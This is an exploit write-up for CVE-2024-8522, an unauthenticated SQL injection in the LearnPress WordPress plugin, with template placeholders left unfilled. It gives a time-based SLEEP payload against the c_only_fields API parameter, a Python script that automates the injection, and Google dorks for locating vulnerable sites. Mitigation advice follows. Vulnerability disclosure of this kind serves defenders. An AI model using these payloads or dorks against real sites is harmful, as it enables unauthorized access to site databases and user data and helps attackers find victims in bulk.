# Exploit Title: LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection
# Google Dork: inurl:"/wp-json/learnpress/v1/" OR inurl:"/wp-content/plugins/learnpress/" OR "powered by LearnPress" AND "version 4.2.7"
# Date: [Current Date, e.g., October 30, 2024]
# Exploit Author: [Your Name or Username]
# Vendor Homepage: https://thimpress.com/learnpress/
# Software Link: https://wordpress.org/plugins/learnpress/
# Version: <= 4.2.7
# Tested on: WordPress 6.x, Ubuntu 22.04

CVE : CVE-2024-8522CVE-2024-8522 - SQL Injection in LearnPress WordPress Plugin (Python exploit)

Overview

CVE: CVE-2024-8522

Plugin: LearnPress – WordPress LMS Plugin (version <= 4.2.7)

Type: SQL Injection

Impact: High

Affected Component: Unauthenticated endpoint parameter c_only_fields in LearnPress API

Description

The vulnerability exists in the LearnPress WordPress plugin, versions up to 4.2.7. An unauthenticated SQL Injection flaw is present in the c_only_fields parameter of the LearnPress API endpoint. This flaw allows attackers to execute arbitrary SQL commands by manipulating API requests without authentication. If exploited, this could lead to unauthorized database access, potentially exposing sensitive data or even allowing administrative control through database manipulation.

Affected Code Path

The vulnerability is triggered by accessing the LearnPress API and injecting SQL commands through the c_only_fields parameter. Below is the code path leading to this vulnerability:

plaintext

class-lp-db.php:702, LP_Database->execute()

class-lp-course-db.php:564, LP_Course_DB->get_courses()

Courses.php:241, LearnPress\Models\Courses::get_courses()

class-lp-rest-courses-v1-controller.php:502, LP_Jwt_Courses_V1_Controller->get_courses()

class-wp-rest-server.php:1230, WP_REST_Server->respond_to_request()

class-wp-rest-server.php:1063, WP_REST_Server->dispatch()

Proof of Concept (PoC)

The vulnerability can be demonstrated by sending a request to the API endpoint with a malicious payload in the c_only_fields parameter. Below is an example of an HTTP request that injects a conditional SQL statement to test for vulnerability by causing a time delay:

http

GET /wp-json/learnpress/v1/courses?c_only_fields=IF(COUNT(*)!=-2,(SLEEP(10)),0) HTTP/1.1

Host:
targetwebsite.com

User-Agent: curl/7.81.0

Accept: */*

Exploitation Script

The following Python script automates the process of sending malicious requests to test for this SQL injection vulnerability by measuring response time, indicating potential success if there is a delay.

python

import requests

import time

# Target URL for the API endpoint

url = '
http://targetwebsite.com/wp-json/learnpress/v1/courses
'

# SQL injection payloads

payloads = [

"IF(COUNT(*) > 0, SLEEP(10), 0)",  # Test for successful injection

"IF(1=1, SLEEP(10), 0)",           # Basic true condition

"IF(1=2, SLEEP(10), 0)",           # Basic false condition

]

# Iterate over payloads and measure response time

for payload in payloads:

params = {'c_only_fields': payload}

start_time = time.time()  # Record start time

try:

# Send request to the vulnerable endpoint

response = requests.get(url, params=params)

# Calculate response time

response_time = time.time() - start_time

# Display result

print(f"Payload: {payload} | Status Code: {response.status_code} | Response Time: {response_time:.2f} seconds")

# Check for delay indicative of a successful SQL injection

if response_time > 10:

print("Potential SQL Injection vulnerability detected (delay observed).")

else:

print("No delay observed; injection may be unsuccessful.")

except requests.exceptions.RequestException as e:

print(f"Error during request: {e}")

Google Dorks for Identifying Vulnerable Sites

To locate potentially vulnerable websites running LearnPress, the following Google dorks can help identify sites with the plugin:

inurl:"/wp-content/plugins/learnpress/"

inurl:"/wp-json/learnpress/v1/"

"powered by LearnPress" AND "version 4.2.7"

inurl:"/wp-content/plugins/learnpress/assets/js/"

"LearnPress" AND "WordPress LMS Plugin"

Disclaimer: Use of these dorks should only be conducted in an ethical manner, with proper permissions for testing on identified sites.

Impact Analysis

If exploited, this SQL Injection vulnerability can have severe impacts, including:

Data Breach: Unauthorized access to sensitive data within the WordPress database, such as user credentials, course data, and personal information.

Privilege Escalation: An attacker may leverage the SQL injection to modify database entries, potentially elevating user roles and gaining administrative access.

Site Defacement or Service Disruption: By altering content or database configurations, attackers can disrupt service availability or deface the website.

Recommendations

Immediate Update: Update the LearnPress plugin to a patched version when available.

Web Application Firewall (WAF): Employ a WAF that can filter and block malicious SQL injection attempts.

Least Privilege Access: Configure database users with the minimum necessary privileges to reduce potential impacts.

Conclusion

The SQL Injection vulnerability in LearnPress (<= 4.2.7) is a high-severity issue that exposes affected WordPress sites to data breaches, privilege escalation, and potential service disruption. It is crucial for site administrators using this plugin to update to a secure version and implement protective measures.

This report summarizes the vulnerability, exploitation methods, and recommendations to mitigate risks associated with CVE-2024-8522.

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